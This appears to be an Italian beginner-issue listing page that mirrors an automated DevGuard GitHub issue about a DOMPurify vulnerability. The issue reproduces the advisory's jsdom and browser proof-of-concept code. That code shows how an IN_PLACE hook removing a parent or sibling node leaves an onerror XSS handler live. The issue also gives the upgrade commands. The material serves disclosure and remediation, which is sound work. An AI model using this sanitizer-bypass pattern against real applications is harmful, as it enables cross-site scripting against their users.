Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

GHSA-mrv2-3pqr-j5jr found in npm/[email protected]

Chiusa Adatta ai principianti
#365 1 commento 0 reazioni 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 1 giorno

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
1/5
Tempo stimato
Meno di un'ora
Idoneità per principianti
75/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
javascript
Ambito
backend, security

Direzione di ricerca

La issue consiglia di aggiornare la dipendenza npm dompurify alla versione 3.4.17 o successiva e indica i comandi per farlo. Inizia controllando il manifest dei pacchetti e il file di lock del progetto, quindi esegui il comando di installazione mirato e controlla le modifiche alle dipendenze. Il lavoro è completato quando la versione risolta di DOMPurify è almeno la 3.4.17.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

cvss-severity:high devguard l3montree-cybersecurity/.../devguard-documentation pkg:oci/devguard-documen...ch=amd64&tag=main-amd64 risk:low state:open

GHSA-mrv2-3pqr-j5jr found in npm/[email protected]

[!important]
Risk: 1.35 (Low)
CVSS: 7.6

Description
Summary

The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an IN_PLACE hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an <img onerror> that was already loading fires after sanitize() returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." That does not hold when the detached node is not the hook's own node.

Tested versions
  • 3.4.16 (latest) and main at 18f8f0e
  • also 3.4.15, 3.4.12 and 2.5.8

jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.

Details

src/purify.ts line 2134 (dist/purify.cjs.js line 2009 in 3.4.16), _handleHookDetachedNode():

if (currentNode === root || getParentNode(currentNode) !== null) {
  return false;
}
if (IN_PLACE) {
  _neutralizeSubtree(currentNode);
}

It only checks whether currentNode lost its parent. When a hook removes currentNode.parentNode (or any ancestor), currentNode still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in DOMPurify.removed, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.

PoC (jsdom)
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
  const DOMPurify = createDOMPurify(win)
  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
  const root = doc.getElementById('root')
  const evil = doc.getElementById('evil')

  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
  DOMPurify.addHook('afterSanitizeAttributes', (node) => {
    if (node.getAttribute && node.getAttribute('class') === 'bad') {
      if (mode === 'self') node.remove()
      if (mode === 'parent') node.parentNode.remove()
      if (mode === 'nextSibling') node.nextElementSibling.remove()
    }
  })

  DOMPurify.sanitize(root, { IN_PLACE: true })
  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}

Output on 3.4.16:

3.4.16 self        onerror = null
3.4.16 parent      onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"

In self mode the walker still reaches the second image and strips onerror. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes and afterSanitizeAttributes.

PoC (browser)

The same thing in a real page, served from 127.0.0.1 and opened in Chromium:

<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
  const D = DOMPurify(window);
  D.addHook('afterSanitizeAttributes', n => {
    if (n.getAttribute && n.getAttribute('class') === 'bad') {
      if (mode === 'parent') n.parentNode.remove();
      if (mode === 'self') n.remove();
    }
  });
  const root = document.createElement('div');
  document.body.appendChild(root);
  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
  D.sanitize(root, { IN_PLACE: true });
  return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
  document.getElementById('log').textContent =
    'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>

Result on 3.4.16:

version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]

The returned tree is clean in both cases, but the handler on the detached image runs in the page for parent.

Impact

An app that uses IN_PLACE with a hook that removes a wrapper or a nearby element (for example "drop the whole <figure> if its image is not allowed") gets DOM XSS from attacker markup after sanitize() returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.

Suggested fix

Instead of only checking currentNode, check after each hook call whether anything outside the current node was detached. Two simple options:

  • before calling a hook in IN_PLACE mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under root
  • or, after the walk, neutralize every element that was in the original tree but is no longer connected to root (for example by collecting the elements before the walk)
Affected component

The vulnerability is in pkg:npm/[email protected], found in artifacts pkg:oci/devguard-documentation?repository_url=ghcr.io/l3montree-dev/devguard-documentation&arch=amd64&tag=main-amd64.

Recommended fix

Upgrade to version 3.4.17 or later.

# Update all vulnerable npm packages
npm audit fix
# Update only this package
npm install [email protected] 
Additional guidance for mitigating vulnerabilities

Visit our guides on devguard.org

See more details...
Path to component
 %%{init: { 'theme':'base', 'themeVariables': {
'primaryColor': '#F3F3F3',
'primaryTextColor': '#0D1117',
'primaryBorderColor': '#999999',
'lineColor': '#999999',
'secondaryColor': '#ffffff',
'tertiaryColor': '#ffffff'
} }}%%
 flowchart TD
Your_application(["Your application"]) --- pkg_npm_dompurify_3_4_16(["pkg:npm/dompurify\@3.4.16"])

classDef default stroke-width:2px
Risk Factor Value Description
Vulnerability Depth 1 The vulnerability is in a direct dependency of your project.
EPSS 0.16 % The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
EXPLOIT Not available We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database. There are no script kiddies exploiting this vulnerability.
CVSS-BE 6.4
CVSS-B 7.6 - The vulnerability can be exploited over the network without needing physical access.
- It is difficult for an attacker to exploit this vulnerability and may require special conditions.
- An attacker does not need any special privileges or access rights.

More details can be found in DevGuard


Interact with this vulnerability

You can use the following slash commands to interact with this vulnerability:

👍 Reply with this to acknowledge and accept the identified risk.
/accept I accept the risk of this vulnerability, because ...
⚠️ Mark the risk as false positive: Use one of these commands if you believe the reported vulnerability is not actually a valid issue.
/component-not-present The vulnerable component is not included in the artifact.
/vulnerable-code-not-present The component is present, but the vulnerable code is not included or compiled.
/vulnerable-code-not-in-execute-path The vulnerable code exists, but is never executed at runtime.
/vulnerable-code-cannot-be-controlled-by-adversary Built-in protections prevent exploitation of this vulnerability.
/inline-mitigations-already-exist The vulnerable code cannot be controlled or influenced by an attacker.
🔁 Reopen the risk: Use this command to reopen a previously closed or accepted vulnerability.
/reopen ... 
Lingua principale
MDX
Stelle
8
Fork
4
Merge medio
3g 9h
PR unite (30g)
7

Preparare l'ambiente

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Issue simili

Altre issue su Backend & API Design

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.